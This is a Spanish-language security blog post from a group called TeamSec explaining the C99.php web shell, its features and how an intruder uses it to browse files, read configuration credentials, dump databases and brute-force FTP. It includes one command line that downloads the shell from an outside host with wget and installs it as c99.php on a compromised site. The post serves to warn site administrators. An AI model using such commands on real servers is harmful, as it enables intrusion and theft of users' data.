C99.php, rootkits en la www

  • 0

C99.php, rootkits en la www

rootkit-623x409C99.php­

C99.PHP es un una herramienta diseñada para ejecutarse en un servidor apache, es una página web. escrita en PHP, que podríamos definir como el equivalente web de un rootkit. Proporciona funcionalidad para ejecución de comandos del shell del sistema, listar los archivos, acceso al servidor de base de datos, FTP brute force, además de la actualización de sí mismo. Hay otras utilidades equivalentes, la más famosa 57shell.php.

Una vez el atacante en cuestión a aprovechado alguna vulnerabilidad del sistema donde se aloja la una página web, para introducir en el mismo directorio, una página “escondida*” con el nombre c99.php, por ejemplo. esta se puede utilizar para manejar el contenido de la misma, pudiendo ver el contenido de los archivos, dumpear la base de datos, hacer consultas SQL, subir archivos, modificarlos, etc, dado que es una interfaz sencilla y de fácil manejo que permite en pocos minutos extraer la información de la página web o modificarla a gusto.

Vamos a hacer un repaso de lo fácil que es extraer la información de la página , suponiendo, que se consigue vulnerar el sistema. Para el este ejemplo, vamos a suponer un exploit en perl, que nos concediese una ejecución remota de comandos en la shell del sistema del servidor web de la página.

#root/: ./exploit.pl –exec “cd http && wget http://www.sh3ll.org/c99.txt? && mv c99.txt c99.php –url=”una-web-atacada.com”

Selección_001

Selección_002

Como se ve aprecia nuestro exploit de alguna forma consigue engañar al servidor web, a través de algún fallo y logra ejecutar esos comandos en el sistema atacado, de esta forma se instala una página que el servidor apache servirá a cualquier cliente que se conecte a ella, siempre y cuando los permisos sean los adecuados o modificables.

Mostrando la interfaz de c99.php,

La interfaz inicial muestra el nombre del servidor, la versión de sistema operativo, el contenido del directorio local y varios controles para ejecutar comandos y subir, bajar o manipular los archivos, pudiendo ver su contenido y navegar por los directorios del sistema, siempre y cuando los mecanismos de seguridad del sistema nos lo permitan.

Una vez aquí, podremos en muchos casos recurrir al muy usual error de los administradores de no proteger el archivo configuration.php con lo que como muestra la imagen podremos acceder a su contenido y apuntar la clave del usuario de la base de datos, que podremos usar en la pestaña SQL.

Selección_003

La pestaña SQL, tras introducir el usuario de la base de datos y su contraseña, como es lógico, nos permitirá acceder a los contenidos de la base de datos y ejecutar todo tipo de consultas SQL, así como hacer dump de la base de datos y visualizar el contenido de las tablas. Esto también incluye la tabla usuarios que es la más sensible de todas, dado que en ella se almacenan las contraseñas de los usuarios. Y con esto ya se ha completado una intrusión que podría significar una posible pérdida o fuga de datos, más o menos grave.

Selección_004

Para ahondar un poco más en las posibilidades de c99.php, vamos a describir la pestaña de FTP brute force, esta sirver para hacer un ataque por fuerza bruta al ftp del servidor de la página web si existiese, intentando romper la password de los usuarios existentes, esto puede ser especialmente sensible si se marca la opción shell users.

Las pestañas Proc, Self Remove y Feedback se explican por sí mismas, proc sirve para ver los procesos que el servidor esta ejecutando, self remove, elimina la página de c99 y la última para reportar la vulnerabilidad al foro oficial de c99.

Selección_005

Desde TeamSec queremos advertir que hemos encontrado páginas con más de una página c99 en distintos directorios y con distintos nombres de fichero.

*1 Muchos administradores de páginas webs son simples usuarios cuyos conocimientos sobre el funcionamiento del servidor apache no son profesionales, no percatándose en muchos casos que hay directorios, como los directorios temporales, típicos /tmp o /chache, que albergan la ruta donde el servidor, da acceso a la página y en muchos casos desconocen que esos directorios son los que realmente publica el servidor, tampoco tienen porque saberlo, no obstante cualquier administrador que no se percate de la presencia de estos archivos en dichos directorios está posiblemente exponiendo datos que pudieran ser privados de las personas registradas en la web.

Pablo Martínez, TeamSec

 

 

 

 


Leave a Reply